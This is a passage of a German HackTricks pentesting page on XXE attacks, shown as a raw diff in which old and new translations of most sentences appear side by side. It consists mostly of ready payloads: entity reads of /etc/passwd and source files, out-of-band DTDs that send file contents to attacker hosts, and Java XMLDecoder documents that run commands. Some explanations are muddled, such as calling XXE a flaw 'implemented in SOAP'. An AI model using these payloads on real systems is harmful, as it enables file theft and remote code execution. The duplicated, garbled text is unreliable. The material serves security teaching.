<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY % a "&#x3C;&#x21;&#x45;&#x4E;&#x54;&#x49;&#x54;&#x59;&#x25;&#x64;&#x74;&#x64;&#x53;&#x59;&#x53;&#x54;&#x45;&#x4D;&#x22;&#x68;&#x74;&#x74;&#x70;&#x3A;&#x2F;&#x2F;&#x6F;&#x75;&#x72;&#x73;&#x65;&#x72;&#x76;&#x65;&#x72;&#x2E;&#x63;&#x6F;&#x6D;&#x2F;&#x62;&#x79;&#x70;&#x61;&#x73;&#x73;&#x2E;&#x64;&#x74;&#x64;&#x22;&#x3E;" >%a;%dtd;]>
<data>
<env>&exfil;</env>
</data>
```
DTD-Beispiel:
```xml
<!DOCTYPE foo [
<!ELEMENT foo ANY>
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo>&xxe;</foo>
```
In diesem Beispiel wird eine sogenannte DTD (Document Type Definition) verwendet. Die DTD definiert die Struktur und den Inhalt eines XML-Dokuments. Im obigen Beispiel wird die DTD verwendet, um eine Entität namens "xxe" zu definieren, die auf den Inhalt der Datei "/etc/passwd" verweist.
Die Zeile `<!DOCTYPE foo [...]` definiert den DTD-Teil des XML-Dokuments. Die Zeile `<!ELEMENT foo ANY>` gibt an, dass das Element "foo" beliebigen Inhalt haben kann. Die Zeile `<!ENTITY xxe SYSTEM "file:///etc/passwd">` definiert die Entität "xxe", die auf den Inhalt der Datei "/etc/passwd" verweist.
Die letzte Zeile `<foo>&xxe;</foo>` verwendet die definierte Entität "xxe" im XML-Dokument. Dadurch wird der Inhalt der Datei "/etc/passwd" in das Element "foo" eingefügt.
Dieses Beispiel zeigt eine Schwachstelle namens XML External Entity (XXE). Durch die Verwendung von DTDs und externen Entitäten können Angreifer auf vertrauliche Informationen zugreifen, indem sie auf Dateien im System zugreifen oder sogar Remote-Code-Ausführung erreichen. Es ist wichtig, diese Schwachstelle zu erkennen und entsprechende Sicherheitsmaßnahmen zu ergreifen, um sie zu verhindern.
Beispiel für DTD:
```xml
<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/flag">
<!ENTITY % abt "<!ENTITY exfil SYSTEM 'http://172.17.0.1:7878/bypass.xml?%data;'>">
%abt;
%exfil;
```
## PHP Wrappers
## PHP-Wrapper
### Base64
**Extrahiere** _**index.php**_
**Extrahieren** _**index.php**_
```xml
<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>
```
#### **Extrahieren externer Ressourcen**
#### **Externe Ressource extrahieren**
```xml
<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=http://10.0.0.3"> ]>
```
### Remote Code Execution
### Remote code execution
**Wenn das PHP-Modul "expect" geladen ist**
```xml
@ -527,24 +477,6 @@ Dieses Beispiel zeigt eine Schwachstelle namens XML External Entity (XXE). Durch
</creds>
```
## **SOAP - XEE**
XML External Entity (XEE) ist eine Sicherheitslücke, die in SOAP (Simple Object Access Protocol) implementiert ist. Diese Schwachstelle ermöglicht es einem Angreifer, schädlichen Code in eine XML-Nachricht einzufügen und auszuführen.
### **Wie funktioniert XEE?**
XEE tritt auf, wenn eine Anwendung XML-Daten verarbeitet, ohne die externen Entitäten zu deaktivieren. Eine externe Entität ist ein Verweis auf eine externe Ressource, wie z.B. eine Datei oder eine URL. Durch das Einfügen einer externen Entität in eine XML-Nachricht kann ein Angreifer auf vertrauliche Informationen zugreifen oder sogar das System kompromittieren.
### **Ausnutzung von XEE**
Um XEE auszunutzen, muss ein Angreifer eine speziell gestaltete XML-Nachricht erstellen, die eine externe Entität enthält. Diese Nachricht wird dann an die verwundbare SOAP-Anwendung gesendet. Wenn die Anwendung die externe Entität verarbeitet, kann der Angreifer den Inhalt der externen Ressource lesen und möglicherweise sogar schädlichen Code ausführen.
### **Schutz vor XEE**
Um sich vor XEE-Angriffen zu schützen, sollten SOAP-Anwendungen die Verarbeitung externer Entitäten deaktivieren. Dies kann durch das Aktivieren von Funktionen wie "Entity Expansion Limit" oder "Disable External Entities" erreicht werden. Darüber hinaus ist es wichtig, Eingaben zu validieren und zu filtern, um potenziell schädlichen Code zu verhindern.
### **Zusammenfassung**
XEE ist eine Sicherheitslücke, die in SOAP-Anwendungen auftreten kann und es Angreifern ermöglicht, schädlichen Code einzufügen und auszuführen. Um sich vor XEE-Angriffen zu schützen, sollten SOAP-Anwendungen die Verarbeitung externer Entitäten deaktivieren und Eingaben validieren und filtern.
```xml
<soap:Body><foo><![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx/>]]></foo></soap:Body>
```
@ -552,11 +484,11 @@ XEE ist eine Sicherheitslücke, die in SOAP-Anwendungen auftreten kann und es An
Dieses Beispiel ist inspiriert von [https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe](https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe)
XLIFF (XML Localization Interchange File Format) wird verwendet, um den Datenaustausch in Lokalisierungsprozessen zu standardisieren. Es handelt sich um ein auf XML basierendes Format, das hauptsächlich zum Übertragen von lokalisierbaren Daten zwischen Tools während der Lokalisierung und als gemeinsames Austauschformat für CAT (Computer-Aided Translation) Tools verwendet wird.
XLIFF (XML Localization Interchange File Format) wird verwendet, um den Datenaustausch in Lokalisierungsprozessen zu standardisieren. Es handelt sich um ein auf XML basierendes Format, das hauptsächlich zur Übertragung lokalisierbarer Daten zwischen Tools während der Lokalisierung und als gemeinsames Austauschformat für CAT (Computer-Aided Translation) Tools verwendet wird.
### Analyse der blinden Anfrage
### Analyse der Blindanfrage
Es wird eine Anfrage an den Server mit folgendem Inhalt gesendet:
Eine Anfrage wird an den Server mit dem folgenden Inhalt gesendet:
```xml
------WebKitFormBoundaryqBdAsEtYaBjTArl3
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
@ -568,14 +500,13 @@ Content-Type: application/x-xliff+xml
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
------WebKitFormBoundaryqBdAsEtYaBjTArl3--
```
Jedoch löst diese Anfrage einen internen Serverfehler aus, der speziell auf ein Problem mit den Markup-Deklarationen hinweist:
Jedoch löst diese Anfrage einen internen Serverfehler aus, der speziell ein Problem mit den Markup-Deklarationen erwähnt:
```json
{"status":500,"error":"Internal Server Error","message":"Error systemId: http://redacted.burpcollaborator.net/?xxe_test; The markup declarations contained or pointed to by the document type declaration must be well-formed."}
```
Trotz des Fehlers wird ein Treffer auf Burp Collaborator registriert, der auf eine gewisse Interaktion mit der externen Entität hinweist.
Trotz des Fehlers wird ein Treffer im Burp Collaborator aufgezeichnet, der auf eine gewisse Interaktion mit der externen Entität hinweist.
Exfiltration von Daten außerhalb des Bandes
Um Daten zu exfiltrieren, wird eine modifizierte Anfrage gesendet:
Out of Band Datenexfiltration Um Daten zu exfiltrieren, wird eine modifizierte Anfrage gesendet:
```
------WebKitFormBoundaryqBdAsEtYaBjTArl3
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
@ -587,10 +518,9 @@ Content-Type: application/x-xliff+xml
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
------WebKitFormBoundaryqBdAsEtYaBjTArl3--
```
Dieser Ansatz zeigt, dass der User Agent die Verwendung von Java 1.8 angibt. Eine bekannte Einschränkung dieser Java-Version besteht darin, dass Dateien mit einem Zeilenumbruch, wie z.B. /etc/passwd, nicht mithilfe der Out-of-Band-Technik abgerufen werden können.
Diese Methode zeigt, dass der User Agent die Verwendung von Java 1.8 angibt. Eine bekannte Einschränkung dieser Java-Version besteht darin, dass es nicht möglich ist, Dateien mit einem Zeilenumbruchzeichen wie z. B. /etc/passwd mithilfe der Out-of-Band-Technik abzurufen.
Datenexfiltration durch Fehlerbasierte Methode
Um diese Einschränkung zu umgehen, wird ein fehlerbasierter Ansatz verwendet. Die DTD-Datei ist wie folgt strukturiert, um einen Fehler auszulösen, der Daten aus einer Zieldatei enthält:
Datenexfiltration basierend auf Fehlern Um diese Einschränkung zu überwinden, wird ein fehlerbasierter Ansatz verwendet. Die DTD-Datei ist wie folgt strukturiert, um einen Fehler auszulösen, der Daten aus einer Zieldatei enthält:
```xml
<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % foo "<!ENTITY &#37; xxe SYSTEM 'file:///nofile/'>">
@ -608,12 +538,11 @@ Um den Inhalt der Datei in der Fehlermeldung einzuschließen, wird die DTD-Datei
%foo;
%xxe;
```
Diese Modifikation führt zur erfolgreichen Exfiltration des Dateiinhalts, da sie sich im über HTTP gesendeten Fehlerausgabewert widerspiegelt. Dies deutet auf einen erfolgreichen XXE (XML External Entity) Angriff hin, der sowohl Out of Band als auch Error-Based Techniken nutzt, um sensible Informationen auszulesen.
Diese Modifikation führt zur erfolgreichen Exfiltration des Dateiinhalts, wie es im Fehlerausgabewert angezeigt wird, der über HTTP gesendet wird. Dies deutet auf einen erfolgreichen XXE (XML External Entity) Angriff hin, der sowohl Out-of-Band- als auch Fehlerbasierte Techniken nutzt, um sensible Informationen zu extrahieren.
## RSS - XEE
Gültiges XML im RSS-Format, um eine XXE-Schwachstelle auszunutzen.
Gültiges XML im RSS-Format zur Ausnutzung einer XXE-Schwachstelle.
### Ping zurück
@ -640,26 +569,18 @@ Einfacher HTTP-Request an den Server des Angreifers
```
### Datei lesen
Eine häufige Anwendung von XML External Entity (XXE) Angriffen besteht darin, Dateien auf dem Server zu lesen. Dies kann verwendet werden, um vertrauliche Informationen wie Passwörter, private Schlüssel oder andere sensible Daten zu stehlen.
Um eine Datei zu lesen, müssen Sie eine speziell präparierte XML-Datei erstellen und an den Server senden. In dieser XML-Datei verwenden Sie die `<!ENTITY>` Deklaration, um eine externe Entität zu definieren, die auf die gewünschte Datei verweist.
Hier ist ein Beispiel für eine solche XML-Datei:
Um eine externe Entität in XML zu verwenden, können Sie die folgende Deklaration verwenden:
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY>
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo>&xxe;</foo>
<root>
<name>&xxe;</name>
</root>
```
In diesem Beispiel wird die Datei `/etc/passwd` auf dem Server gelesen. Sie können den Pfad zu einer anderen Datei ändern, um andere Dateien zu lesen.
Sobald Sie die XML-Datei erstellt haben, können Sie sie an den Server senden und die Antwort überprüfen. Wenn die Antwort den Inhalt der Datei enthält, war der Angriff erfolgreich.
Es ist wichtig zu beachten, dass nicht alle Server anfällig für XXE-Angriffe sind. Einige Server haben Sicherheitsvorkehrungen getroffen, um solche Angriffe zu verhindern. Daher ist es wichtig, verschiedene Techniken auszuprobieren und zu testen, ob der Server anfällig ist.
Dieser Code liest den Inhalt der Datei `/etc/passwd` und fügt ihn in das XML-Dokument ein.
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
@ -682,7 +603,7 @@ Es ist wichtig zu beachten, dass nicht alle Server anfällig für XXE-Angriffe s
```
### Quellcode lesen
Verwendung des PHP base64-Filters
Verwendung des PHP Base64-Filters
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
@ -705,7 +626,7 @@ Verwendung des PHP base64-Filters
```
## Java XMLDecoder XEE zu RCE
XMLDecoder ist eine Java-Klasse, die Objekte auf der Grundlage einer XML-Nachricht erstellt. Wenn ein bösartiger Benutzer eine Anwendung dazu bringen kann, beliebige Daten in einem Aufruf der Methode **readObject** zu verwenden, erhält er sofort die Ausführung von Code auf dem Server.
XMLDecoder ist eine Java-Klasse, die Objekte basierend auf einer XML-Nachricht erstellt. Wenn ein bösartiger Benutzer eine Anwendung dazu bringen kann, beliebige Daten in einem Aufruf der Methode **readObject** zu verwenden, wird er sofort Codeausführung auf dem Server erlangen.
### Verwendung von Runtime().exec()
```xml
@ -737,13 +658,9 @@ XMLDecoder ist eine Java-Klasse, die Objekte auf der Grundlage einer XML-Nachric
</object>
</java>
```
Der `ProcessBuilder` ist eine Klasse in Java, die verwendet wird, um externe Prozesse zu starten und zu steuern. Mit dem `ProcessBuilder` können Sie Befehle ausführen und die Ausgabe des Prozesses abrufen. Es ist ein nützliches Werkzeug für die Pentest-Webanwendung, da es Ihnen ermöglicht, Befehle auf dem Zielsystem auszuführen und die Ergebnisse zu überwachen.
### ProcessBuilder
Um den `ProcessBuilder` zu verwenden, müssen Sie zunächst eine Instanz der Klasse erstellen und den Befehl angeben, den Sie ausführen möchten. Sie können auch Optionen wie das Arbeitsverzeichnis und Umgebungsvariablen festlegen. Sobald Sie den `ProcessBuilder` konfiguriert haben, können Sie die Methode `start()` aufrufen, um den Prozess zu starten.
Nachdem der Prozess gestartet wurde, können Sie die Ausgabe des Prozesses abrufen, indem Sie die Methoden `getInputStream()`, `getErrorStream()` und `getOutputStream()` verwenden. Sie können diese Streams verwenden, um die Ausgabe des Prozesses zu lesen oder Eingaben an den Prozess zu senden.
Es ist wichtig zu beachten, dass der `ProcessBuilder` auch für bösartige Zwecke verwendet werden kann, insbesondere wenn er unsicher implementiert ist. Ein Angreifer könnte den `ProcessBuilder` verwenden, um schädliche Befehle auf dem Zielsystem auszuführen oder vertrauliche Informationen zu stehlen. Daher ist es wichtig, den `ProcessBuilder` sicher zu verwenden und sicherzustellen, dass alle Eingaben ordnungsgemäß validiert und gesäubert werden, um potenzielle Sicherheitslücken zu vermeiden.
Der `ProcessBuilder` in Java wird verwendet, um ein neues Unterprozessobjekt zu erstellen.
```xml
<?xml version="1.0" encoding="UTF-8"?>
<java version="1.7.0_21" class="java.beans.XMLDecoder">
@ -779,25 +696,25 @@ Es ist wichtig zu beachten, dass der `ProcessBuilder` auch für bösartige Zweck
## Referenzen
* [https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf](https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf)\
* [https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html](https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html)\
* Extrahieren von Informationen über HTTP mit eigener externer DTD: [https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/](https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/)\
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection)\
* [https://gist.github.com/staaldraad/01415b990939494879b4](https://gist.github.com/staaldraad/01415b990939494879b4)\
* [https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9](https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9)\
* [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe)\
* [https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf](https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf)\\
* [https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html](https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html)\\
* Extrahieren von Informationen über HTTP mithilfe eigener externer DTD: [https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/](https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/)\\
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection)\\
* [https://gist.github.com/staaldraad/01415b990939494879b4](https://gist.github.com/staaldraad/01415b990939494879b4)\\
* [https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9](https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9)\\
* [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe)\\
* [https://gosecure.github.io/xxe-workshop/#7](https://gosecure.github.io/xxe-workshop/#7)
<details>
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Erlernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben** oder **HackTricks im PDF-Format herunterladen** möchten, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
</details>